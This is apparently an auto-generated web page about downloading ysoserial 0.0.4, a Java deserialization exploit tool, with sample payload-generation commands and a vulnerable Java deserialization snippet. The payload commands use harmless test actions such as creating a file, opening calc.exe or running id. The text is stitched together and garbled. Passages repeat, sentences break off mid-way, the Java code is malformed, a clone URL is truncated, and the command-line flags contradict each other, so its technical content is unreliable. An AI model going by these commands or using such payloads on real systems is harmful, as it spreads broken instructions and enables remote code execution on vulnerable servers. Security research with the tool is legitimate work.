Ysoserial-0.0.4-all.jar Download May 2026

Here's an example to generate a payload using the CommonsCollections2 gadget:

java -jar ysoserial-0.0.4-all.jar -t CommonsCollections2 -c "touch /tmp/ysoserial_test" -f java

This command generates a payload that executes the touch /tmp/ysoserial_test command when deserialized.

Code Example

Here's a simple Java code snippet demonstrating the deserialization of a ysoserial payload:

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class DeserializationExample
public static void main(String[] args) throws Exception 
        // Replace with your generated payload
        byte[] payload = ...;
ByteArrayInputStream bais = new ByteArrayInputStream(payload);
        ObjectInputStream ois = new ObjectInputStream(bais);
// Deserialization
        ois.readObject();

Best Practices

Some products detect serialized payloads with known gadget signatures.

Understanding and Downloading ysoserial-0.0.4-all.jar ysoserial is a widely recognized proof-of-concept tool used by security researchers and penetration testers to generate payloads for exploiting unsafe Java object deserialization. The specific version 0.0.4-all.jar is a legacy "uber-jar" that includes all necessary dependencies in a single executable file, making it highly portable for security assessments. What is ysoserial-0.0.4-all.jar?

At its core, ysoserial is a collection of utilities and "gadget chains" discovered in common Java libraries (like Apache Commons Collections, Spring, and Groovy). When a Java application unsafely deserializes data from an untrusted source, an attacker can use these gadget chains to trigger automatic command execution on the host system.

The 0.0.4 release was a milestone version often cited in classic exploit reports, such as those involving JBoss servers or Starbucks bug bounty reports . Where to Download ysoserial-0.0.4-all.jar download

While newer versions like v0.0.6 are available, many legacy environments specifically require the 0.0.4 build for compatibility with older gadget chains.

Official Repository: The safest way to obtain the tool is via the frohoff/ysoserial GitHub Releases page.

Building from Source: For maximum security, you should clone the repository and build the JAR yourself using Maven. git clone https://github.com mvn clean package -DskipTests Use code with caution.

Third-Party Repositories: Some researchers use mirrors like JitPack , though caution is advised when downloading pre-compiled binaries from unofficial sources. Common Usage and Examples Here's an example to generate a payload using

The all.jar format allows you to run the tool directly from the command line. A typical command generates a serialized object and redirects it to a file or pipes it into a network request.

Generate a payload for Windows:java -jar ysoserial-0.0.4-all.jar CommonsCollections1 "calc.exe" > payload.ser

Generate a payload for Linux:java -jar ysoserial-0.0.4-all.jar CommonsCollections1 "id" | base64

This is a useful, technical overview regarding the search for ysoserial-0.0.4-all.jar, placing the file in the context of security research, explaining its purpose, and providing safe avenues for acquisition and usage. This command generates a payload that executes the